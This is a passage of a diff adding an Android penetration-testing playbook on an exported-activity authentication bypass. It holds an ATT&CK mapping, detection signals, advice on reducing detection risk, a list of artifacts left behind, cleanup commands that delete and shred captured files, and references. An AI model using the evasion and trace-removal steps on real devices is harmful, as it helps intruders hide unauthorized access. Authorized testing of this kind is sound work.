349
+ | Step | Tactic | Technique | Sub-technique | Description |
350
+ |------|--------|-----------|---------------|-------------|
351
+ | 1 — Pull APK | Reconnaissance | T1430 | T1430.001 | Collect application artifact from device |
352
+ | 2 — Decompile APK | Reconnaissance | T1626 | — | Analyze application for abuse vectors |
353
+ | 3 — Parse Manifest | Discovery | T1420 | — | File and directory discovery within app package |
354
+ | 4 — Identify Target | Discovery | T1626 | T1626.001 | Identify elevation control mechanism — exported component |
355
+ | 5 — Verify No Auth | Discovery | T1083 | — | File and code analysis to confirm bypass viability |
356
+ | 6 — Launch Activity | Privilege Escalation | T1626 | T1626.001 | Abuse elevation control mechanism — exported activity |
357
+ | 7 — Access Admin | Impact / Collection | T1078 | T1078.001 | Use of default/bypassed account access — admin function |
358
+
359
+ **Primary Chain:** T1626 (Abuse Elevation Control Mechanism) → T1078 (Valid Accounts — bypassed entirely via direct component access)
360
+
361
+ ---
362
+
363
+ ## Detection & OPSEC
364
+
365
+ ### How This Attack Is Detected
366
+
367
+ | Detection Point | Signal | Monitoring Tool |
368
+ |----------------|--------|-----------------|
369
+ | USB Debugging enabled | `adb connect` events, device trust dialog | MDM solutions (Intune, Jamf) |
370
+ | Activity launch via adb | `am start` in device shell logs | Android logcat, EDR on device |
371
+ | Abnormal activity start | Activity started with no referring activity / task stack | App-level telemetry |
372
+ | Server-side anomaly | Admin API calls with no corresponding login event | SIEM / WAF correlation |
373
+ | No session token in API call | API gateway receives admin-scoped request without valid JWT | API Gateway logs |
374
+
375
+ ### Reducing Detection Risk During Authorized Engagement
376
+
377
+ - Confirm written authorization before connecting adb to any device
378
+ - Use a dedicated test device enrolled in the engagement scope — do not use production devices
379
+ - Disable USB debugging immediately after testing to restore device posture
380
+ - Avoid triggering server-side admin actions unless explicitly in scope (read-only enumeration preferred)
381
+ - Note that adb commands are logged in Android logcat — assume logs exist
382
+ - If testing over adb TCP/IP (wireless), ensure you are on an isolated test network segment
383
+
384
+ ### Artifacts Left Behind
385
+
386
+ | Artifact | Location | Notes |
387
+ |---------|---------|-------|
388
+ | adb authorization key | `/data/misc/adb/adb_keys` on device | Persists after disconnect |
389
+ | Screenshot files | `/sdcard/admin_panel.png` | Must be manually deleted |
390
+ | Screen recording | `/sdcard/admin_session.mp4` | Must be manually deleted |
391
+ | UI dump | `/sdcard/ui_dump.xml` | Must be manually deleted |
392
+ | logcat entries | Android system log (volatile) | Cleared on reboot or log rotation |
393
+ | Server-side logs | API server audit log | Not controllable by attacker |
394
+
395
+ ---
396
+
397
+ ## Cleanup
398
+
399
+ Perform all cleanup steps after the authorized engagement is complete.
400
+
401
+ ```bash
402
+ # Remove screenshot evidence from device
403
+ adb shell rm /sdcard/admin_panel.png
404
+
405
+ # Remove screen recording from device
406
+ adb shell rm /sdcard/admin_session.mp4
407
+
408
+ # Remove UI dump from device
409
+ adb shell rm /sdcard/ui_dump.xml
410
+
411
+ # Remove any test files pushed during engagement
412
+ adb shell rm /sdcard/pentest_*
413
+
414
+ # Revoke adb authorization (removes this host's key from device trust list)
415
+ # On the device: Settings → Developer Options → Revoke USB debugging authorizations
416
+
417
+ # Disable USB debugging (instruct device owner or perform if in scope)
418
+ adb shell settings put global adb_enabled 0
419
+
420
+ # Verify no residual files remain
421
+ adb shell ls /sdcard/ | grep -E 'admin|pentest|dump|record'
422
+
423
+ # Clear local evidence copies per engagement data handling policy
424
+ # (Secure delete or encrypt per ROE)
425
+ shred -u ./evidence/admin_panel.png
426
+ shred -u ./evidence/admin_session.mp4
427
+ shred -u ./evidence/ui_dump.xml
428
+ ```
429
+
430
+ **Note:** Server-side audit logs generated during the engagement cannot be removed by the tester. Coordinate with the client to annotate or exclude engagement-period entries from their SIEM baseline.
431
+
432
+ ---
433
+
434
+ ## References
435
+
436
+ ### Tools
437
+
438
+ | Tool | URL |
439
+ |------|-----|
440
+ | Android Debug Bridge (adb) | https://developer.android.com/tools/adb |
441
+ | apktool | https://apktool.org |
442
+ | jadx | https://github.com/skylot/jadx |
443
+ | drozer (Android security framework) | https://github.com/WithSecureLabs/drozer |
444
+ | MobSF (Mobile Security Framework) | https://github.com/MobSF/Mobile-Security-Framework-MobSF |
445
+ | Android SDK Platform Tools | https://developer.android.com/tools/releases/platform-tools |
446
+
447
+ ### Standards and References
448
+
449
+ | Resource | URL |
450
+ |---------|-----|
451
+ | MITRE ATT&CK T1626 | https://attack.mitre.org/techniques/T1626/ |
452
+ | MITRE ATT&CK T1078 | https://attack.mitre.org/techniques/T1078/ |
453
+ | OWASP Mobile Top 10 — M1: Improper Platform Usage | https://owasp.org/www-project-mobile-top-10/ |
454
+ | Android Manifest — exported attribute | https://developer.android.com/guide/topics/manifest/activity-element#exported |
455
+ | Android Security Best Practices | https://developer.android.com/topic/security/best-practices |
456
+ | OWASP Mobile Security Testing Guide (MSTG) | https://mas.owasp.org/MASTG/ |
457
+ | OWASP MASTG Test — MSTG-PLATFORM-1 | https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0024/ |
458
+
459
+ ### Additional Reading
460
+
461
+ - "Android Security: Attacking and Defending — Exported Components" — NCC Group research
462
+ - "Intent Redirection Vulnerabilities in Android" — USENIX Security
463
+ - Android Developers — Security with intents: https://developer.android.com/training/articles/security-tips#Intents